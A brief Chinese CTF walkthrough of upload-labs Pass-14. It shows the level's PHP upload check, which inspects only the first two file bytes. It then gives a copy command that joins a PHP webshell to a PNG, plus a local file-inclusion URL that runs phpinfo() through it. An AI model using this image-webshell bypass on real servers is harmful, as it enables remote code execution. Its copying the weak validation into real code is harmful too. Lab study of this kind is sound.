[网络安全]upload-labs Pass-14 解题详析

<?php
include '../config.php';
include '../head.php';
include '../menu.php';
function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);
    if($file_type == 'unknown'){
        $msg = "文件未知，上传失败！";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错！";
        }
    }
}
?>
<div id="upload_panel">
    <ol>
        <li>
            <h3>任务</h3>
            <p>上传<code>图片马</code>到服务器。</p>
            <p>注意：</p>
            <p>1.保证上传后的图片马中仍然包含完整的<code>一句话</code>或<code>webshell</code>代码。</p>
            <p>2.使用<a href="<?php echo INC_VUL_PATH;?>" target="_bank">文件包含漏洞</a>能运行图片马中的恶意代码。</p>
            <p>3.图片马要<code>.jpg</code>,<code>.png</code>,<code>.gif</code>三种后缀都上传成功才算过关！</p>
        </li>
        <li>
            <h3>上传区</h3>
            <form enctype="multipart/form-data" method="post">
                <p>请选择要上传的图片：<p>
                <input class="input_file" type="file" name="upload_file"/>
                <input class="button" type="submit" name="submit" value="上传"/>
            </form>
            <div id="msg">
                <?php 
                    if($msg != null){
                        echo "提示：".$msg;
                    }
                ?>
            </div>
            <div id="img">
                <?php
                    if($is_upload){
                        echo '<img src="'.$img_path.'" width="250px" />';
                    }
                ?>
            </div>
        </li>
        <?php 
            if($_GET['action'] == "show_code"){
                include 'show_code.php';
            }
        ?>
    </ol>
</div>
<?php
include '../footer.php';
?>

copy "C:\Users\YourUsername\Desktop\1.png" + "C:\Users\YourUsername\Desktop\1.php" "C:\Users\YourUsername\Desktop\shell.png"

http://localhost/upload-labs-master/upload/3520230816083607.png

http://localhost/upload-labs-master/include.php?file=upload/3520230816083607.png&1=phpinfo();